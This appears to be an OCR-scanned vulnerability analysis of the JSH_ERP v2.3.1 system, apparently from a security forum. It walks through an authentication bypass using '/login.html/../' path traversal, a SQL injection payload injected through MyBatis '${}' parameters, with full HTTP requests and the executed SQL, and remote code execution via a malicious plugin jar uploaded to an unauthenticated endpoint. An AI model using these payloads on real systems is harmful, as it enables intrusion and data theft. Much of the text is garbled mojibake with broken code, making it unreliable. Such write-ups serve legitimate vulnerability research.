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2. @WebfFilter(filterName = "LogCostFilter”, urlPatterns = {"/*"},
3. initParams = {@WeblnitParam(name = "ignoredUrl", value = ".css#.js#.jpg#.png#.gif#.ico"
),

4. @WeblnitParam(name = "filterPath",

5. value = "/user/login#/user/registerUser#/v2/api-docs")})

6. public class LogCostFilter implements Filter {

7.

8. @Override

9. public void doFilter(ServietRequest request, ServletResponse response,

10. FilterChain chain) throws IOException, ServletException {

1. HttpServletRequest servletRequest = (HttpServletRequest) request;

12. HttpServletResponse servletResponse = (HttpServletResponse) response;

13. String requestUrl = servletRequest.getRequestURI();

14, /1 81, (B2 HEEFFARER, THERERTT

15. O bject userinfo = servletRequest.getSession().getAttribute("user”);

16. if(userinfol=null) { // WREER, TFHIE

17. chain.doFilter(request, response);

18. return;

19. }
20. if (requestUrl != null &amp;amp;&amp;amp; (requestUrl.contains("/doc.html”) ||
21. requestUrl.contains("/register.html”) | | requestUrl.contains("/login.html"))) {
22. chain.doFilter(request, response);
23. return;
24. 1

B i@l getRequestURI ZREXENIESK url, SAE¥IHT session HEEBFEA user BIE, MBERAnull, #E
REAERTEERIT, BUEX requestUrl #HTHIET, MMREE login.html. doc.html. register.htmlik
REANBEEFRHENT, BEXEMFMANE contains 755%, REFRFREETXEFFRTEIRE

poc

1. GET /depotHead/login.html/../list?search=aaa&amp;amp;currentPage=1&amp;amp;pageSize=
10&amp;amp;t=1618229175662 HTTP/1.1

2. Host: 192.168.245.1:9978

3. Accept: application/json, text/j avas cript, */*; g=0.01

4, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Ge
cko) Chrome/88.0.4324.150 Safari/537.36

. X-Requested-With: x mlHttpRequest

. Accept-Encoding: gzip, deflate

. Accept-Language: zh-CN,zh;q=0.9

o N o WU

. Connection: close

FA_EEIEREIAEE  /depotHead/list X FHI  controller .

sqlifE
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payload

1. GET /depotHead/login.html/../list?search=%7B%22type%22%3A%22%E5%85%B6%ES%AE%83%22%
2C%22subType%22%3A%22%E9%87%87%E8%B4%ADBEBSAERA2%ES%BDY%95'%200r%20"%3D'%22%2C%
22roleType%22%3A%22%E5%85%A8%EI%83%AB%E6%I5%BOKE6KBDIAEY%22%2C%22statush$22%3A%2
2%22%2C%22number%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22
%22%2C%22materialParam%22%3A%2222222222222222%22%2C%22depotlds%22%3A%22%22%7D&a
mp;amp;currentPage=1&amp;amp;pageSize=10&amp;amp;t=1618229175662 HTTP/1.1

2. Host: 192.168.245.1:9978

3. Accept: application/json, text/j avas cript, */*; g=0.01

4. User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé64; x64) AppleWebKit/537.36 (KHTML, like Ge

cko) Chrome/88.0.4324.150 Safari/537.36

. X-Requested-With: x mlHttpRequest

. Referer: http://192.168.245.1:9978/pages/bill/ purchase_orders_list.html

. Accept-Encoding: gzip, deflate

. Accept-Language: zh-CN,zh;q=0.9

O 00 N o u»

. Connection: close

WIBEREAY  getDepotHeadList

Sr_enr s o juGmi o jave o wwin o Jan St STIVIAG  MSRUMISGU S LSV ISEUA ST ~ 3 EpAppILaUUn T
Project « € = @ — | DepotHeadServicejava < ResourceController.java €, CglibAopProxy.class € CommonQueryManager.java € DepotHeadComponent.java © Interfa
M mappers return getDepotHeadList(map);
I AccountHeadMapper }
I AccountHeadMapperE
1 AccountltemMapper @ private List<?> getDepotHeadlList(Map<String, String> map)throws Exceptmn { ize = 5
I AccountitemMapperE: v String search = map.get(Constants.SEARCH); search: "{ ul 0 = oleType

I AccountMapper

String type = StringUtil.getInfo(search, key: "type"); t

B AccountMapperEx String subType = StringUtil.getInfo(search, key: "subType"); or ''s
i DepotHeadMapper String roleType = StringUtil.getInfo(search, key: "roleType"); "
1 DepotHeadMapperEx String status = StringUtil.getInfo(search, key: "status");
i gzssi:z:x:ziza String number = StringUtil.getInfo(search, key: "number");
© DepotMapper String beginTime = StringUtil.getInfo(search, key: "beginTime
© DepotMapperx String endTime = StringUtil.getInfo(search, key: "endTime");
# FunctionMapper String materialParam = StringUtil.getInfo(search, key: "mater 1a'LParan”)
# FunctionMapperEx String depotlds = StmngUt)‘L getInfo(search, key: "depotIds"); dey
! oo ||-
I InOutltemMapperEx
I LogMapper
i LogMapperEx @override
I MaterialCategoryMapj ol @ public Long counts(Map<String, String> map)throws Exception {

Debug: % ErpApplication

(.  Debugger Console Endpoints = & + ¥ 1 (¥ H

|p  Frames Variables

*http-nio-9978-exec-1'@7,953 in group *main’: RUNNING - 4 Y +| > = this={DepotHeadComponent@8617)

N 9

P map =
search

{HashMap@8569) size = 5
pe”:"HE", "subType":"EMiTH" or "="",

“number”:"

"roleType": " EP&ERE", "status™:"",

>
getDepotHeadList:42, DepotHeadComponent (com.jsh.erp.service.depotHead) >
>

select:28, DepotHeadComponent (com.jsh.erp.service.depotHead)

select:48, CommonQueryManager (com.jsh.erp.service)
invoke:-1, CommonQueryManager$ $FastClassBySpringCGLIB$$e1f111d0 (com.jsh.erp.service)

E

o invoke:204, MethodProxy (org.springframework.cglib.proxy) = status = null
intercept:685, CglibAopProxy$DynamicAdvisedinterceptor (org.springframework aop. framework) = number = null

fx  select-1, CommonQueryManager$$EnhancerBySpringCGLIB$$b672a2dd (com.jsh.eip.service) beginTime = null

getlist:59, ResourceController (com.jsh.erp.controlier)
invoke0:=1, NativeMethodAccessorimpl (sun.reflect)

AJIAEZE| subType EBEEAFAREIE, REERH
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¢ DepotHeadService.java 1 DepotHeadMapperEx.java application.properties € ResourceController.java € CglibAopProxy.class © CommonQueryManager.java

return list; 77T A2 8

public List<DepotHeadVo4lList> select(String type, String subType, String roleType, String status, String number, String beginTime,
String materialParam, String depotlds, int offset, int rows)throws Exception { wmaterialParam
List<DepotHeadVo4list> resList = new Arraylist<~>(); reslist: size = @
List<DepotHeadVo4list> list=null; 1list: null
try{
String [] creatorArray = getCreatorArray(roleType); creatorArray: null roleType: " 250"
(1 ‘I-- list=depotHeadMapperEx.selectByConditionDepotHead(type, subType, creatorArray, status, number, beginTime, en
tcatch(Exception e){
JshException.readFail(logger, e);

}

iF (A1l 1= Tiet) £

selectByConditionDepotHead R i%2 BcE mybatis HEEMT5E, L3  MyBatisCodeHelper-Pro
R R T A Z 1B ogo B R BkAL X B2 A x mIfie B it

*/

'3 public interface DepotHeadMapperEx {

¥ Y ListxDepotHeadVo4lList> |selectByConditionDepotHead(
@Param("type") String type,
@Param("subType") String subType,
@Paran("creatorArray") String[] creatorArray,
@Param("status") String status,
@Param("number") String number,
@Paran("beginTime") String beginTime,
@Paran("endTime") String endTime,
@Param("materialParam”) String materialParam,
@Paran("depotIds") String depotlds,
@AParam("aoffset") Inteaer offset.

AERRMEXXMHER S MHPREHRTHE, SE SQL XA

¥ <select id="selectByConditionDepotHead" parameterType="com.jsh.erp.datasource.entities.DepotHeadExample" resultMap 03 532 %10 -
select distinct dh.*, s.supplier OrganName, u.username userName, a.name AccountName
from jsh_depot_head dh
left join jsh_supplier s on dh.organ_id=s.id and ifnull(s.delete_Flag,'0') !='1
left join jsh_user u on dh.creator=u.id and ifnull(u.Status,'®') ='8"
left join jsh_account a on dh.account_id=a.id and ifnull(a.delete_Flag,'0') !='1"'
left join jsh_depot_item di on dh.id = di.header_id and ifnull(di.delete_flag,'0') !'='1
left join jsh_material m on di.material_id = m.id and ifnull(m.delete_flag,'@') !='1

whore 127

<if test="type != null">
and dh.type="'${type}’
7Lt

<if test="subType != null">

and dh.sub_type="'§{subType}"'
</if>
<if test="status != null">

and dh.status ='${status}’'

</if>
<if test="number != null">

and dh.number like '%${number}%'
</if>
<if test="beginTime != null">

and dh.oper_time >= '${beginTime}’
</if>
<if test="endTime != null">

and dh.oper_time <= '${endTime}’
</if>
<if test="materialParam != null and materialParam !=''">

ESTIFER A AL application.properties EEIEMACE, it mybatis FTENESHITH sql &
f]

1. logging.level.com.jsh.erp.datasource.mappers.*=debug

BEHITH sql FAWMT
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1. Execute SQL: SELECT COUNT(1) FROM (SELECT DISTINCT dh.* FROM jsh_depot_head dh LEFT J
OIN jsh_depot_item di ON dh.Id = di.header_id AND ifnull(di.delete_flag, '0') !="1" LEFT JOIN js
h_material m ON di.material_id = m.ld AND ifnull(m.delete_Flag, '0') !="'1"WHERE 1 =1 AND d
h.type = "HE' AND dh.sub_type = "R ¥JiTE' OR " = " AND (m.name LIKE '%22222222222222% O
R m.standard LIKE '%22222222222222%' OR m.model LIKE '%22222222222222%') AND ifnull(dh.de
lete_Flag, '0) !="1") tb

AT sql BABCEARTIEF, MUSEREEERD.

Request Response
Pvet(,m \n Actions ~ Select extension... v Raw Render \n Actions v

1 GET /depotHead/login. html/.. /list?search= 7
8 {

B T7BH22t ypeh22%3A%22%E SR8 5%BE%E SRAEREI%22
“code” :200,
22number%22%:3 “data”: {
2C%h22material “page”: {
2C%22depotIdsh22%3A%22%22% TD&eurrentPage= “rows”: [
{
2 Host: 192. 168. 245. 1:9978 “accountMoneyList”:"",
3 Accept: application/json, text/javascript, #*/%; q=0.01 “changeAmount” : 0. 000000,
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 “createTime”: 1595349697000,
(KHTML, like Gecko) Chrome/88.0.4324. 150 Safari/537. 36 “creator”:63,
5 X-Requested-With: XMLHttpRequest “defaultNumber”:”CGDDO0
6 Referer: http://192. 168. 245. 1:9978/pages/bill /purchase_orders_list. html “deleteFlag”:"0",
7 Accept-Encoding: gzip, deflate “handsPersonId”:63,
8 Accept-Language: zh—CN, zh;q=0.9 "id”:227,
9 Connection: close “linkNumber”:"",
0 “materialslis
1| “number” : " CG

“operTime”:
“operTimeStr
“organld”:74.
”organiame”
»
“remark”:"”,
“salesMan”:”",
”status”

¥ enhTwna® - 7 SZMIT B 7

RCE

BHH—BRiEHI Controller

1. /*
2. EEHLTERENY., LR RIRERERTEHE
3.  *@param multipartFile _F1EX 4 multipartFile
4. *@return 1RIES
5. */
6. @PostMapping("/uploadinstallPluginJar”)
7. public String install(@RequestParam("jarFile") MultipartFile multipartFile){
8. try {
9. if(pluginOperator.uploadPluginAndStart(multipartFile)){
10. return "install success";
1. }else {
12. return "install failure”;
13. }
14. } catch (Exception e) {
15. e.printStackTrace();
16. return "install failure : " + e.getMessage();
17. 1
18. }
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BARAAUEE—IFERIN jar BEEXMED, XEF<EET  uploadPluginAndStart

f, MR IUSE TEEE

EfeHziRiE

1. https://gitee.com/starblues/springboot-plugin-f ramework-parent

BRIVNEIRN—RE, HiFHRAdemofitt, FEEZWjar&MImanifest>(f, BM/LDFE

dhowm v o XA
RN 2 s mH B3B3 Bk B8

¥ | D:\avaSec\jishenghua-JSH_ERP-v2.3.1\basic-example-plugin1-2.4.2-RELEASE.jar\META-INF\

E=ri K EEERF/N IEEE BUERRE) ilAlEdiE] Bt
maven 1119 542 2021-04-1520:33 D Frwsrws..

[ extensions.idx a1 A5 AaAA1 A4 4 anaa

B MANIFEST.MF - ig=#

MAH(F) fRB(E) #BN(0) ZE(NV) #HEIH)
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver

Created-By. Apache Maven 363

Plugin-Description: x00000¢-1

[0 MANIFEST.MF

Plugin-Version: 2.3
Plugin-Provider: 777
Built-By: hac425
Build-Jdk: 9.0.4

£ DefinPlugin EKEEEINTERNRME, JHEHMBAEASHIT.

basic-example-plugin1-2.4.2-RELEASE.jar

-3 META-INF
=-## com.basic.example.pluginl

DefinePlugin.class {

package com.basMyexample.pluginl;

| [-H3 config
- extract ®|import com.gitee.starPNges.realize.BasePlugin;
- job
i est public class DefinePlugin
I?I $ " extends BasePlugin
-3 service
- [1) DefinePlugi static
(- [J] Pluginintercégtorl
¥ try

[3] Pluginintercep®QrR
[4] PluginListener1
[1] PluginListener2

[5) plugin.properties
~[] pluginl.yml an

[+

-

Runtime.getRuntime() .exec("cmd /c calc & notepad");

-

catch (IOException e)

e.printStackTrace();

protected void stopEvent() (|}
protected void deleteEvent() (}

protected void startEvent() (}

public DefinePlugin(PluginWrapper wrapper)

HETRABE — RS, HEHIZINEERbug, FEFEIZE plugins BR (RERFZZAEELKTHE

) FreRRFEFEIZER.

NS .
PK:

O K&RTF 2021-05-14 21:57 [2)iE (458) SRED M (https:/forum.butian.net/community/Vul_analysis)
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